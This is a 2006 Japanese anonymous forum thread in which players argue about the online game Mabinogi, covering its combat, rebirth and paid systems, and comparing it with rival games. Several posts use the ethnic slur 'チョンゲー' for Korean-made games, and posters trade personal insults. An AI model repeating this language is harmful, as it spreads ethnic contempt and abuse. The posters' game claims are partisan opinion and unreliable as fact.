名無しオンライン:2006/01/29(日) 10:27:19.04 ID:OSdsVsmz
マビのグラに耐えられる人ってリアルどんな顔してんだろ?
いずれにせよどのネトゲもメイン戦闘サブ生産が限りなく正解に近い気がする
>>126 過疎もヲタゲーも認めるが雰囲気は別にやばくない
同じ嗜好の人間が集まればそれなりに楽しい
だがやることがない
そいつはひたすら単発でマビに取り憑いてる人ですよ。
> 808 名前:名無しオンライン[sage] 投稿日:2006/01/25(水) 09:31:44.91 ID:RFSYIJFv
> 釣り師というものは「どうすれば相手の気に障るか」という考えで書き込んでいる
> から、論破することは簡単だけど、論破する意味が無い。
> 論破されようが何だろうが、全く同じ理屈を繰り返し書き続けるまでのこと。
>
> アンチスレで「このゲームをいい加減な書き込みで叩いてる人がいるけど嘘ですよ」
> と頑張る意味もあまり無い。
> アンチスレなんて何の参考にもならんことは、ネトゲ板に慣れてる人なら身に染みて
> いるだろうから。
やることはあるよ
えっと…チャットとか・・・
137 :
名無しオンライン:2006/01/29(日) 10:42:02.29 ID:D/NTRkEC
他にやること探せ
何か一つぐらいはあるだろ
聞きかじりで具体的な批判をしようとしても見透かされるってことに気付いて、
今は単発IDでネガティブな一行レスを連発してる模様。
チャットしようにもゲーム内にはキモヲタしかいない件
戦闘は近年稀に見る皆無のアクション性
生産はお察し
やることがないから皆チャットで時間潰す毎日
mobとしか戦えないのに、そのmobは全く手ごたえが無い
PT不要
もはやオフゲーにも遥かに劣る糞ゲー
引退者続出は当然だな…
141 :
名無しオンライン:2006/01/29(日) 10:46:57.33 ID:k/4TbAH7
☆☆☆マビノギは新規お断りゲーム☆☆☆
キャラを成長させるためには転生することが必要です
転生する度にリアルマネーが必要です
強くなるためにどんどんリアルマネーを注ぎ込みます
しかもその転生はリアルで3週間経たないとできません
新規はどんなに頑張っても前人には一生追いつくことはできません(笑)
初期プレイヤーのみがマンセーできるゲームです
戦闘ではひたすらmobとだけ戦います
スキルが極端に少なくワンパターン化しています
もちろんMMO最大の醍醐味である対人戦の楽しみは味わえません
移動がマウス移動オンリーでとにかく疲れます
自動移動が無いから遠くに行く時もずっと画面にひっついて
マウスをポチポチクリックの繰り返し
生産は糞マゾいうえに運が全てです
まぁこれじゃしょうがないね
>>139 お前もキモヲタだろwwwwなかよくしようぜwwwwwwwww
救いようのない糞ゲーだな
糞ゲーなら飽きる理由はワカランでもないが
ヲタゲーで飽きる理由が俺にはワカラン。
ここはMoEの工作員の溜まり場ですか?
一匹じゃね?
MoE儲にも嫌われてる、例のキチガイRA儲では。
>140
他の行はともかくアクション性の欠如だけは納得できないな
近年稀に見るほどアクション性が高いなら
まだ持ち上げすぎだがそんなものかな?と納得もできるが
…いったいHPいくつのキャラでプレイすれば
そんな感想文が書けるんだ?
とりあえず
わざわざアンチスレにまで出張ってくるような必死信者がいるゲームは
マビくらいじゃね?
確かに質問スレにまででばってくるアンチは初めて見たね
マビ厨とMOE厨は何で仲が悪いんだ?
糞ゲー同士仲良くすりゃいいのにね
>147
>140はこぴぺ
796 名前:名無しオンライン[] 投稿日:2006/01/29(日) 07:34:08.79 ID:Prc61r8E
戦闘は近年稀に見る皆無のアクション性
生産はお察し
やることがないから皆チャットで時間潰す毎日
mobとしか戦えないのに、そのmobは全く手ごたえが無い
PT不要
もはやオフゲーにも遥かに劣る糞ゲー
引退者続出は当然だな…
アンチってアルツハイマー病なんだね
153 :
名無しオンライン:2006/01/29(日) 14:01:08.86 ID:mT0f9vaW
☆☆☆マビノギは新規お断りゲーム☆☆☆
キャラを成長させるためには転生することが必要です
転生する度にリアルマネーが必要です
強くなるためにどんどんリアルマネーを注ぎ込みます
しかもその転生はリアルで3週間経たないとできません
新規はどんなに頑張っても前人には一生追いつくことはできません(笑)
初期プレイヤーのみがマンセーできるゲームです
戦闘ではひたすらmobとだけ戦います
スキルが極端に少なくワンパターン化しています
もちろんMMO最大の醍醐味である対人戦の楽しみは味わえません
移動がマウス移動オンリーでとにかく疲れます
自動移動が無いから遠くに行く時もずっと画面にひっついて
マウスをポチポチクリックの繰り返し
生産は糞マゾいうえに運が全てです
加齢で得たAPを使い切ったので来週まで休眠です
156 :
名無しオンライン:2006/01/29(日) 14:58:51.48 ID:7ybiLx6T
しかし、これだけスレが進んでるってことは
マビノギは当分終わらなさそうだな。
レベルアップで取得AP2
死んでも装備品ドロップ無し
これくらいしてくれてもバチあたんね
AP貯めてスキル上げる以外やることないな
MOEは本当に終わってるからな
死体に鞭を打つみたいでなんだかな
なるほど
MoE叩き=マビ厨ってのがよく分かるね
MoEは手遅れだからな
>>161 あ〜あ…
やっぱマビ厨はマビ厨だったな
164 :
名無しオンライン:2006/01/29(日) 19:35:42.05 ID:84lGIfdy
誰もメインストーリーには触れないのか・・・
G3も残すは最終ダンジョンのみ
攻略したら飽きそうで怖い
趣味装備や僅かな上積みのために延々とダンジョンに篭るのも嫌だ
生産:紡織Fをトレーニング中
弓:敵を釣る道具
中級魔法+AR:おいしいですか?
>157
ドロップが嫌ならナオサポートサービスを買えばいいじゃない。
上手くない人も戦闘を楽しめるようになる良いサービスですよ?
どんどん貢がないと続かないぞ
とりあえず迷ったら金出せ
平日でも混雑してるし、大丈夫だから。
金出しても人増えるわけじゃないしな
結局ゲーム自体に魅力が無きゃだめだったんだよ
まぁ趣味には出費を惜しまないヲタにターゲット絞った戦略はよかったと思うけど
だめだかったるい聖堂バイト飽きた
今日もIDを変えて頑張ってるのか・・・
何やるにも湯水のごとく時間を消費する
ひどいシステムだ
やらなきゃいいだろバカかw
土曜日にしかあの世にいけない仕様をどうにかして欲しい。
折角の休日にフレ誘ってもあの世だから無理とか言って断られるし・・・
いいかげんソロばっかで飽きてきた
嫌われてるって気がつけよwww
やる事ねぇっ
っておもったら、ソロでマスいけ
上級手に入ったら、ダンバで募集しろ
それだけで何とか楽しめる
他力本願ばっかりだから、結局飽きるのよ
お金ってどこで稼ぐんだ
178 :
名無しオンライン:2006/01/30(月) 08:37:38.26 ID:lofpQA0z
ここ数日でぐんと人減ったね
もう無理矢理やること探してもみつからない
βから3キャラ育てたけど引退時みたいだ
3キャラ育てるのってどれも中途半端にならない?
2キャラでさえ育成すんのに時間かかって挫折したんだが
というか無理にキャラを分ける必要がない。理論上は全部のスキルを1キャラで取れるわけですしね。
こういうシステムだと「○○はこのキャラ、××はこのキャラ」みたいなキャラ=道具っぽい感じがしないので私は好きですけど、まぁこの辺は好みの問題でしょうね。
181 :
名無しオンライン:2006/01/30(月) 10:50:40.42 ID:Tk9xg2ll
転生システムで絶対に追いつかれないという安心感というか優越感を感じるためのゲーム。
それがマビノギ!
どこがまったりもふもふ??
そんなこと誰も気にしてないよw
追いつくとか追いつかれないとか言ってる馬鹿はMOE厨だけですw
なんでそこでMOE?
MOEはやったことないから知らないけど、マビは別に追いつく必要なんてないだろう。
ある程度成長した先は、必須じゃなくてクリア時間短縮とか安定度UPとかなんだから。
面白くないな
186 :
名無しオンライン:2006/01/30(月) 12:18:37.75 ID:5f14GOM9
成長の喜びが皆無だから追いつきたいとも思わないし必要も無い
MoEは面白いよ。ただ、マビノギはまったく別の楽しみがある。
ところで、今はRFオンラインやってるんだけど
何でMoE対RFオンライン対マビノギの図式が成り立たないんだよ。
おかしいだろ
RF面白いか?
廃人の餌になるだけだろ
新規が生き延びる道は廃人に媚びて仲間に入れてもらうことだけ
リネ2同様に酷い有様だった
リネ2の村社会化に比べればいくらかマシなのかもしれんけどもさ
マビで先行メリットがあるのは生産だけで、
生産はAPより修練が問題なので転生はあまり関係ない。
戦闘は自分のペースで進めて大丈夫。
lv差があってもPTは組めるし、経験値配分が偏るわけでもない。
狩場の占領も起きないし。
181って頭が可哀相
マビユーザーの大半はMoEやRFの存在すら知らないので
対立の図式が成り立ちません
一週間マビやってみる
羊毛狩りと乳搾りテラタノシミス
192 :
名無しオンライン:2006/01/30(月) 16:02:50.36 ID:Tk9xg2ll
追いつきたいとか誰も思っちゃいねーよ。
それなのに金と時間かけた自分の作ったキャラに対して
「達成感」感じてるやつらばっかってこと。特に今の残ってるOβ組な。
そういうやつらは追いつけないシステムに満足して優越感感じてるってことだ。
どこがまったりもふもふ?
他人を気にしてるって点ではどっちも一緒ですね。
少しぐらいは周りに追いつきたいって思えるような成長システムがほしかったな
ゲーム内全体が活気無くてグダグダ
× マビユーザーの大半はMoEやRFの存在すら知らないので
○ マビユーザーの大半はMoEやRFがまともに動く環境ではないので
とはいえ、例えできる環境になっても、MoEはともかく鉱山オンラインは
やる気無し
MoEはともかくって何だそりゃ
叩けよ
197 :
名無しオンライン:2006/01/30(月) 16:26:27.61 ID:kYjp7ATe
よくマビノギはPTプレイだと超反応とかで余計に難しくて
楽にならないって言ってるやつがいるが
そいつらに言いたい
それはお前らがヘタなだけ
がむしゃらに叩くだけだから余計に死ぬのだ
PTプレイにはPTプレイ用の連携やテクニックがあるのにね
ヘタ糞はマビノギ向いてない
単に叩きまくるだけで楽になるぐらいなら苦労せんわな
ヘタ糞が多すぎ
え゛ーだって叩く理由ないし
今はマビだけだけど、MoEもそんなに悪くないと思うよ
ジャンルもかぶらないしねぇ
>>197 スマ連打
ミル連打
AR担当と魔法orミル担当
えっと・・・他に使える連携あったっけw
200 :
名無しオンライン:2006/01/30(月) 16:35:49.42 ID:kYjp7ATe
>>199 IBスマ・ミルスマとかいくらでもあるぞw
むしろスマ連打とかヘタ糞の典型じゃんwwwwwww
201 :
名無しオンライン:2006/01/30(月) 16:40:01.25 ID:kYjp7ATe
スマ連打を連携って言ってる時点で
お前もヘタ糞確定
もっとない頭使ってよ〜く考えてプレイしようぜ
202 :
名無しオンライン:2006/01/30(月) 16:41:27.59 ID:kYjp7ATe
スマ連打を連携と言ってる時点でお前も立派なヘタ糞組み
もうちょっとない頭使ってよ〜〜〜〜くプレイしてみようぜ
203 :
名無しオンライン:2006/01/30(月) 16:41:48.56 ID:kYjp7ATe
スマ連打を連携と言ってる時点でお前も立派なヘタ糞組み
もうちょっとない頭使ってよ〜〜〜〜くプレイしてみようぜ
マビに最強厨ってまだ生き残ってたんだ
誇示する場もないのにご苦労なことで
まあ効率大好きみたいだしずっとソロでやってればいいと思うよ
でもスマ連打で十分だよなぶっちゃけ
ID:kYjp7ATe
必死過ぎでしょう、いくらなんでも。
マビの戦闘は面白いが連携プレイは無いに等しい
そりゃ連携はいくらでもやろうと思えばできるけど
高ダメねらうならあの3つに集約されるわけでw
それ以前にその必要性が無い
対インプとかでペット出して戦うのは連携に入るのか否か
2人でIBお手玉もいいよな
で
>>192 よ、おまえがマビ飽きた理由ってそれ?つくづく可哀相だな、頭が。
今のマビで飽きないお前はそれはそれは素敵な頭してるんだろうな
羨ましい
だって俺はじめたの12月だもん。
要するに勝ち組ってやつになれなかったってことね。
後発が追いつけるゲームになったら、それはそれで文句が出るだろうし。
たとえば最初の数回の転生ではAPが倍とかいうシステムになったとしても、
結局追いつかないからクソとか言う展開になるんだろ?
その点MOEは後発も先発も関係ないゲームだな
マジやることねぇ〜
なんとかしろよネ糞ン
>>215 どうやったらやることなくなるのか教えてくれよ。
IBはまだ7だし、FBはあと同じ強さの敵を500匹ほど倒さないと
パーフェクトでBまで上げらないし、LBなんかまだEだし
サンダーなんかまだまだ先だし。
薬草学だってまだDでサンライトハーブ探すのに必死だし
調合もサンライトハーブが見つからないから進められないし
(ハーブ全般的に足りてないがな)
弓だってCで止まったままだし
楽器演奏やりたいがAP足りてないからなかなかあげられないし
紡織裁縫や製錬鍛冶は手もつけてない。
G3はクリアしてないしペッカ通常もセイレンダンジョンも行ってない
ソロでやることあげたってやる事たくさんありすぎるわ。
つまらん作業はどうでもいいよ
218 :
名無しオンライン:2006/01/30(月) 20:51:33.86 ID:E+ciffXg
なにこの終焉ムード
たいしたアンチもいねぇし
そろそろこのスレも終焉だな
220 :
名無しオンライン:2006/01/30(月) 20:53:48.64 ID:Ua6t4msc
ムードというかもう終わったぞ
まだ800も残りあるぞ
勿体無いから埋める
>>217 ようはやりたいことが見つからなかった訳だ。
マビノギ(笑)
>>216を見る限り、ap稼いでスキル上げることしかやることねーって感じなんだが…
これは釣りなんだろうか
もっと他にもやることあるだろ、マビノギは
ゲーム内でスキルウィンドウでも出しながら書きこんでたんじゃない?
一番わかりやすいし。
>>225 というかMMOのゲームとしての本質はつまるところ
延々とレベリングすること、それに尽きる。
レベリングの限界=そのゲームの寿命、という事だね。
228 :
名無しオンライン:2006/01/30(月) 21:57:39.29 ID:sNo8OP4D
そろそろメイプルに帰るかな…
やっぱマビはメイプルには追いつけなかった
メイプルって死ぬほど(マジで)敵倒さないとレベル上がらないだよな
1レベル上げるのも死に物狂いやってられんよw
>>225 読み返したら確かに釣りみたいだな。
「ソロでやること」の部分をうまく読み取ってもらえるとありがたい。
昨日、樽の演奏会を見に行って、ギルメンと
「合奏やるぞー」って妙にテンションあがってね。
楽器演奏あげるにもAPたんねーじゃん。どうするよ。って
悩んでる。まぁ、これが楽しいわけだが。
>>227 初期UOとかEQやったことあるなら、永遠とレベリングするだけが全てとか思わんぞ
韓国産ゲームしかやったことないならそう思っても仕方ないんだろうが…
マビノギはレベル上げするより、自キャラをどれだけ萌えさせるかが全てだろ
231見て思い出した
何かUOの鍛冶屋の人の漫画一回見てみるといいかも
昔のネトゲはこんなだったんだなってのが分かるかもしれないし
分からないかもしれない
あ、アンチじゃないYO
演奏できるところもマビノギの強みだよな
UOも楽器演奏でmidiとか演奏できるようになる予定はあったけど
ついに実現することなく終わったし
あとはチャプター2でどれだけ冒険できる幅が広がるかか
>>235 アンチの方々がどういう風に叩いてるのか興味あるじゃない
演奏とかいっても結局運任せでつまらん
音ゲーみたいになってればよかった
238 :
名無しオンライン:2006/01/30(月) 23:15:34.50 ID:zCdys/q6
チョンゲーに期待しすぎ
このチョンゲーが一番面白いんだからしょうがない
マジでFEには期待してたんだが
日本ではMMORPGを作れないんだなぁと再認識させられただけだったわ
マビノギをパクって、日本の品質で作り直して欲しいもんだわ
>231
× 永遠と
○ 延々と
>>240 俺もそう思うわ
MOEなんて大した技術も無いのにクリエイターが妄想オナニーシステムーだけ先走って
ゲームになってないしw
なんていうか、アンチの文言がワンパターンでつまらんな。
MoEアンチもマビアンチも実際プレイし続けて文句言ってるわけじゃないもん。
数ヶ月も前にちょろっとやっただけの体験と、アンチスレに書きこまれたレスを切り張りして作ったコピペ。それがアンチの中身の全てですよ。
ああ、きちんとした意見を言える人は「アンチ」には含んでませんからね?
馬鹿みたいに同じレスを垂れ流してる人だけ。
日本人の良く言えば職人気質的なところとMMO製作がかみ合ってないんだよな。
理想ばかりで自分たちに実現可能かどうかを考えない
細かい調整に時間を掛けすぎて全体が進行しない
それを踏み越えた上で面白さを優先したMMORPGを出せないと意味無いんだけどね
韓国レベルの品質では
でも、品質より面白さが優先されるべきであって
両立させようとしたら、やっぱりパクって品質で勝負する形が良いと思うんだな
でも、本当の理由はパッケージを売りづらくなるから
ってのが一番の理由な気がする
そのパッケージ自体、このところ面白い物を作れてないんだがな
いま日本で勢いがあって、成長してるゲームって
ギャルゲーだけじゃないか?
EQパクッたFF11だけ成功してる('A`;)
あれは、スクエアの信用を切り売りしてるだけだと思うよぉ
収益は上げてるだろうけど
アンチも大量に生まれさせてる
■はなんかもう、ねぇ…?
>>246 PS2版東鳩2も結構売れてるみたいだしPS2版Fateも売れるだろうしね。
大作RPGのブレスとか幻想とかWAとか続編これ以上出したら東鳩2にすら負ける状況に・・・
キムチ臭い
東鳩にならんでWAがあるとホワルバっぽいな
明日からC21?みたいな名前の国産MMOアクションRPGのオープンβテストが始まるよ
4gamer見てみれば情報載ってるぞー。
マビノギは転生まで放置するつもりだから、そっちのゲームメインでやってみるつもり。
いつまでも自分に合わなかったゲームの愚痴言っててもしょうがないし、新しいゲーム探してる人はそれをやってみたらどうかな?
そこで「ときめもオンライン」
おれらでピュアラブしようぜ
加齢するだけでめっぽう強い+無料化でタダゲソロ復帰したがPT組む気にならん
公式掲示板に巣くってる連中みたいなのばっかだと思うと取引すら躊躇する
実際全チャで話してる内容とか聞いてても最強厨オンラインって感じだしな・・・
ヲタ廃+腐女子を取り込み杉
258 :
名無しオンライン:2006/01/31(火) 10:06:40.61 ID:qSFPJ++i
チョンゲーだからしょうがないだろ
糞ゲーには糞しか集まらない
普通の感性の人間なら洋ゲーか国産だろうし
でも、技術力とかゲーム性とかグラとかゲーム自体は全く駄目だけどヲタの心を上手くくすぐって
集客力だけは高いってのがチョンゲーの特徴だったんよね。ROとか。
マビが失敗した理由を チョンゲーだから と一言で片付けるのは間違いだ。
つまり結論を言うと
チョンゲーという事実でまず多くの人が引いてしまって
残ったヲタにもあの時代遅れの糞グラのせいで魅力を伝えることができなかった
なんか良くわからんが
なんでそんな必死なん?
別に糞だろうが過疎ろうがどうでもよくね?
真性基地外か釣りだろうな
ごたくをひねってるように見えて「チョンゲー」「糞グラ」と連呼してるだけだな
100点満点中12点。もっとがんばれ。
264 :
名無しオンライン:2006/01/31(火) 13:00:52.65 ID:T7x0y+N6
>>261 よくねーよボケ
マビをここまで糞にしたネクソンがむかつく
>>257 ×実際全チャで話してる内容とか聞いてても最強厨オンラインって感じだしな・・・
○実際全チャで話してる内容とか聞いててもスキルの話しか話題がないって感じだしな・・・
こんな感じじゃない?私を含めてβ組の人は。
もうこれはだめかもわからんね
>>267 あーそうこれこれ懐かしいなあ
一度BM初期化したもんで場所わからなくなった
実際のとこマビノギやってて装備の話とスキルの話がループし続けるのは問題だと思うけどな
お前らほんとそれしかねーのかって…
多種多様な話題を提供できるゲームってそんなに無いですよ。
まーネットゲームはアップデートで内容を増やす事ができますし、そのうち何か入ってくれればそれでいいんじゃないですかねぇ。
>>269 ネットゲームなんてそんなもんじゃない?
マビノギやる前にいたアスガルドなんていつ行っても与ダメの話しかしてないよ
それしかねーのかって思うならゲームやめて外出るといい
ゲーム内での共通話題なんてスキル・レベル・装備にレアアイテムくらいしかないじゃん。
あとはせいぜいクエストの進み具合くらいだ。
個人名の出るギルド・交友関係の話はあんまり全チャじゃしないだろうし。
……ゲームと関係ない話してたら雑談ばっかでもうだめぽとか言うんだろ?
273 :
名無しオンライン:2006/01/31(火) 16:04:44.36 ID:re81xwiC
何この終焉ムード
アンチとのやりとりもパターン出尽くして無限ループに入っているのは確か
マギノビはゴミゲー
これはガチ
だからゲーム内の話題でしか会話しがないのに、それでずっと持つのが気持ち悪いぞ
そして271のようにネットゲームのほとんどがそういうもんだと思ってるのが
視野が狭いつーか…
それしかねーのかって思うなら、ゲームやめて外出るといいっていう話の繋がりもわからん
ゲーム内でも一般的な話題で会話だってすりゃいいのに、
アニメ漫画ゲームの話題で盛り上がったほうが違うベクトルで病的だけど、まだ健全だと思うが…
ROとかマビノギとかそういうのしかやったことないんだろうな
やたらとリアルの話題が出るめいぽも厨ゲーということですか
傍で聞いてる分には面白いけどね
GWは神ゲー
まだマビみたいなチョンゲやってんの?
あ、マビでやりこんじゃったから離れなれないんだね可哀相^^;
ゲーム内でリアルの話はあんま好きじゃ無いんだけど俺だけか?
や、今やってるテレビの話とかその程度ならいいんだけど
やれセンター試験がどうのこうのとか恋人がどうのとかオープンで喋ってるの聞くともうね。
ゲーム内もリアルの延長と考えたらいいんじゃない?
ゲーム内の住民になって遊んでリアルの疲れを癒すのと
ゲーム内でおしゃべりしてうさばらしするのと根本は同じ気がする
所詮はアバター付きチャットソフトだからな
グラの質からしてメイプルが小学生ゲームってことは
マビは幼稚園向けって感じだね
小学生にも何これ?って言われそう
最初は本スレの会話と思ったけど276はギルド内部での会話を想定しているのか?
それならうちに限って言えば映画の話、時事ネタ、メシや健康
ゲームとは関係ない話ならしょっちゅうしてるよ
マビノギに限らずネットゲーム6タイトルくらいやってきたけど
ゲーム話題しかしないギルドなんて見たことない
ランクアップの報告はあれど誰がどんな装備でスキル構成なのかわかっているし
ギルチャでいちいち繰り返したりしない。
逆に見知らぬ相手へのオープンチャットなら売り、買い
即席PTをするにあたっての装備やスキルの話
ほとんどがゲーム話題になると思うがそういうものだろ
飽きているのに無理してゲームしているのかと思ったから外出ろと言ってみただけだ
延々同じ話題を振り続けるのは相手の問題だからそいつとは縁切るといい
ギルド全体がそういう雰囲気なら抜けてしまえ
285 :
名無しオンライン:2006/01/31(火) 19:54:29.22 ID:R58SKZZa
外出してないんで外界の様子がわからないんじゃねぇの?
287 :
名無しオンライン:2006/01/31(火) 21:14:17.75 ID:iGstC8Ng
どこ行ってもお通夜ムードなのは仕様ですか?
288 :
名無しオンライン:2006/01/31(火) 21:51:53.01 ID:lrcTdLy7
本スレが雑談スレになってる件。
もうだめだーーーーーーーーーーwwww
あの国産最高峰の完成度を誇るMoEが来年1月から
な、なんと基本無料のアイテム課金サービスに大変身!
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MoEは今までの完璧なバランスを崩す事無くアイテム課金への移行に成功したんです!
戦闘に有利なパワーアップアイテムの販売は一切ナシ!
じゃ何を買うんだって?
お金を払うとスキルの上昇速度が速くなります、これだけ!
お金を払うことによってキャラを育成する時間を短縮できるんですね
これなら全体のバランスにさほど影響ないでしょ?さすがMoE、考えてます!
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素晴らしい世界が貴方を待っています
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ttp://moepic.com/ 本スレ
http://live19.2ch.net/test/read.cgi/ogame3/1138679062/ 12月30日までは有料サービスです、お間違いなく!
( ´,_ゝ`)プッ
ユーザーにメリットをうまない無駄な縛りが多すぎる
この腐った仕様がマビノギを駄目にした
通行証の短すぎる有効期限
他人へ譲渡できないゴミ仕様までついてくる
やることがある間は気にならないが飽きてくるとやる気減少に拍車をかけた
精霊武器の育成ヒキコモリ急増によるコミュニケーションの低下
耐久が減るのが早すぎるため使う気になれない無駄の産物
万年ソロリストには影響が無かったが、これが原因で多くの小規模ギルド
持ちのメンバーがギクシャクしてやめていった
新しく増えるのは人数制限付きの新ダンジョンとなかなか出ない通行証の
必要な上級ダンジョン
これは実力でクリア出来る出来ない以前の問題だろ
入れないダンジョンなんてイラネッヽ(`Д´)ノ
もうフィールドも一般ダンジョンもアルベイも行き秋田から引退します
本当にありがとうございました
291 :
名無しオンライン:2006/02/01(水) 00:11:06.74 ID:7XQP2IJX
すぐ飽きる仕様のくせにやたら色んな所で金請求するしな
知り合いほとんど引退しちゃったし
頭使え
FFXI、リネ2、Flyf、MoE、FEとやったが
今のところ、マビより楽しいモノはなかった
もちろん異常なラグや位置ズレ
手前の障害物や、カーソルより遠くにいる敵へのロックオン
それを狙ったように入ってくる敵の即死クリティカル
それにあわせて気が狂ったように剥がれる祝福
死んでるフィールド
確率を無視した制作失敗率
敵の自動防御と、どんどん潰されていく面白いダンジョン
などは不満だが
それでも、比較的容易に手に入る上位装備
低めの後発との格差
ほとんどないRMT被害
普通に入手でき、育てられるペット等
マビノギが頭一つ抜きんでてるなと思える所はやっぱりある
和ゲーが このLvに追いついたら、すぐにでも乗り換えたいという想いはあるんだけどね
>>293が上げた利点「だけなら」MoEの方が上じゃないかと思う俺ガイル
まぁ同期やキモグラがどうしようもない欠点なわけだが
>低めの後発との格差
ダウト
>>296 メインキャラがWKカンスト状態になった上での感覚で言うけど
確かに強くなるし、強くなったってことを実感できるレベルにはあるよ
だけど、初心者と組んで遊んでも別に苦にはならん
MoEはPT組めないほどのラグで泣く泣く撤退したから
いまの状況はしらんけど
俺がやったり、聞いたりしたゲームの中では
初心者と組んで普通に遊べるゲームはマビノギくらいだがな
初心者と組んで、成長の手助けをできることが
普通に楽しめるけど?
>>295 このキャッチコピーで国内運営はダメだと思った
前にやったFF11が終わってたからなぁ。
あれに比べりゃどんなのでもましに思えるのかも知れん。
一通りスキル取ってればかなりの敵が倒せるのはマビぐらいしか知らないからなあ
301 :
名無しオンライン:2006/02/01(水) 02:44:33.38 ID:qW7QXA6Y
何でマビはこんな落ちぶれたんだ?
戦闘の楽しみが皆無だからだと思う
他MMOと比べてグラが極端に時代遅れだから何するのもリアリティが無くて迫力が無いってのも痛かった
まぁ一番の敗因はとにかく客層が狭すぎたことかな。
秋葉原のマビノギガールってなんだよ…orz
下手な猿芝居だなw
304 :
名無しオンライン:2006/02/01(水) 03:04:49.82 ID:EO0DMHk9
チョンゲーは所詮チョンゲーだったな
305 :
名無しオンライン:2006/02/01(水) 03:06:02.93 ID:EO0DMHk9
☆☆☆マビノギは新規お断りゲーム☆☆☆
キャラを成長させるためには転生することが必要です
転生する度にリアルマネーが必要です
強くなるためにどんどんリアルマネーを注ぎ込みます
しかもその転生はリアルで3週間経たないとできません
新規はどんなに頑張っても前人には一生追いつくことはできません(笑)
初期プレイヤーのみがマンセーできるゲームです
戦闘ではひたすらmobとだけ戦います
スキルが極端に少なくワンパターン化しています
もちろんMMO最大の醍醐味である対人戦の楽しみは味わえません
移動がマウス移動オンリーでとにかく疲れます
自動移動が無いから遠くに行く時もずっと画面にひっついて
マウスをポチポチクリックの繰り返し
生産は糞マゾいうえに運が全てです
こことかアンチスレでの上げ発言以外で
終わったとか落ちぶれたとか終焉ムードとかいうレスを見たことが無いな
なんとか前向きなレスで盛り上げよう
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移動が遅い
パーティ組んでもソロ
生産で利益出せない
AP増やすのに金がかかる
クリティカルコンボで即死
310 :
名無しオンライン:2006/02/01(水) 03:52:00.97 ID:2YesH1CM
チョンゲーって時点でクリックゲーを越せない糞戦闘ってのは最初から分かってた
それよりも移動が糞なのが痛い
何するにもイライラするわマジで
マビプレイヤーって言うだけでヲタって言われる理由がなんとなくわかった
MOEプレイヤーって言うだけでキモイって言われる理由がなんとなくわかった
ROプレイヤーって言うだけでピザって言われる理由がなんとなくわかった
>>295のコピー考えた奴=マビの初期のコピー考えた奴
という気がしてならない今日この頃
「今までの人生はなかったことにしよう」
>175 名前:名無しオンライン [sage] 投稿日:2006/02/01(水) 04:49:53.18 ID:pjccZlB9
>
http://uguisu.skr.jp/recollection/2ch/ >2004.05.17 会社役員(38)
>ドラッグストアの裏事情と題してうそを書き込んだとして、信用棄損の疑いで逮捕 東京都
マビ信者に朗報MoE信者のアンチが嘘言ってたら逮捕してくれるかもしれませんよ^^
糞戦闘というか糞くだらない戦闘システムなのに
マビの戦闘は面白いとか言っちゃってる奴らが一番萎えたかなぁ
少し離れたところから攻撃ボタン押したら、敵の目の前まで走ってって剣を振る。
で、カウンター貰う。バカじゃね?
敵が突っ込んでくるの見えたからここで振れば一撃当てて下がれるのに、何まん前まで言ってんだこの糞ボケ
それ以来マビはやってない
>>316 一日すら満足にやってないのは下2行でわかるけど、やってないのに適当なこと書くと風説の流布になりますよ^^
>>317 適当でもなんでもないが
前半部分は正解だよ、2時間持たなかったからな
まぁ信者乙とだけ行っておくよ
あの戦闘が面白いって言ってるのはまだマビ続けてる奴ぐらいだろ
言いづらいんだけど
言いづらいんだけど
>>316はオート戦闘しかしてないよな?
当然だよ。
MoEでもオート戦闘しかしてないと面白さわかんないよ。
っていうかゲームによって楽しむべきポイントは違うんだし、「移動回避できNEEEEE!」とかなんの問題にもならないと思うよ。
出身ゲームのルールが通用しないと駄目って・・・まるでR○厨だよね。
敵の強さ表記が、相手の強さと噛み合ってないのがなぁ・・・
なんというか、マビの戦闘が糞云々の人って
本当に全然やらず(出来ず)に狼程度の雑魚中の雑魚にやられたか
IBカウンターのみとかで過ごした奴多いな。
せめてルンダ上下、アルビ中下、アルベイ銀、黒、コイル普通ぐらいまで
やって、糞糞言うならまだ理解できるけどなぁ。
多タゲ見てから最低語って欲しいと思う今日この頃。
新しいゲームはじめたとして、最初がつまんなかったら止めるだろ?
所詮ゲームなんて暇潰しでしかないのに、
ツマンねーって思いながら遊ぶのはおかしいだろ
だから即効飽きて止めたって話
最低限どこどこまで行けよとかはお門違い
どこどこまで進んだら分かるってことは、そこまで行かなきゃわかんないんだろ?
そこまで到達する前に飽きる奴も居るってことだ
どうでもいいけど、ここマビのアンチスレだぞ、スレタイ読み直せ
住人は本スレでまったりしてればいいじゃね
上の方の漫画見て
やっぱUOってよかったのなと思ってしまうわけで
ただ今からUOしてもあんな感じにはならないだろうし
というか初期UOにあって今のMMOに無いものって何だろう
スレてない心じゃない?
はいはいオート、オート
327 :
名無しオンライン:2006/02/01(水) 11:23:48.98 ID:neDBbhia
移動がやたら疲れるね。糞遅い上にマウス移動のみ
しかも自動移動が無くてその都度クリック
戦闘はプレイヤースキル皆無だしだし生産はお察し
移動するだけでイライラするゲームってのも初めてだった
ピザはマウス移動程度で疲れるんだなw
>327はマビノギやってないし、反応しなくていいよ。
他人のレスを切り張りしてるだけ。
一日1万回クリックするゲーム
>>325 そっか、どうしようもないな(´・ω・)
アンチスレで頑張ってるID:ccxEMQxD、ID:ew0BV01+が可愛くてしょうがない
お前等スレ違いもたいがいにしとけw
>>329 そっちはお前等で頑張れよ
はいはいオート、オート
どこでもいるよな、反論できなくなると同じことしか言わなくなる奴
必死だな
おう!お前と一緒だぜ!
( ^ω^)よくいるよねアンチスレなのにゲームをたたかない住人たたく偽アンチ
うんいるよね
ゲームの中身が終わってるから反論できずにアンチ叩く信者とか
俺はマビノギやっててゲーム自体好きだから
このスレにいて反論しようとは思わないんだよね
荒らしと同じだし何より的外れだと思ってるから
アンチに反論する奴はその辺を認めてるもしくはマビアンチされるのが嫌いか楽しんでるかじゃないか?
信者はアンチスレ素通り( ^ω^)基本だお
マビが好きねぇ・・・。
俺は昔は好きだったが、今は嫌悪してる。
342 :
名無しオンライン:2006/02/01(水) 12:36:49.15 ID:6czOKxzs
マビアンチとMOEアンチを一まとめにできるスレ作ろうぜ
>>343 RFも入れてよ
えーと、マビノギ、うんこ!
>>316 ちょw 絶対釣りだと思うけど、思うけど・・・・思うけど・・・・
オート戦闘止めて手動戦闘でやってみるべし!+1打戦法とってみるべし!
wiki(
http://mabinogi.wikiwiki.jp)をきちんと見るべし!
どこに初心者戦法で遊んで楽しいと思う人がいますか!
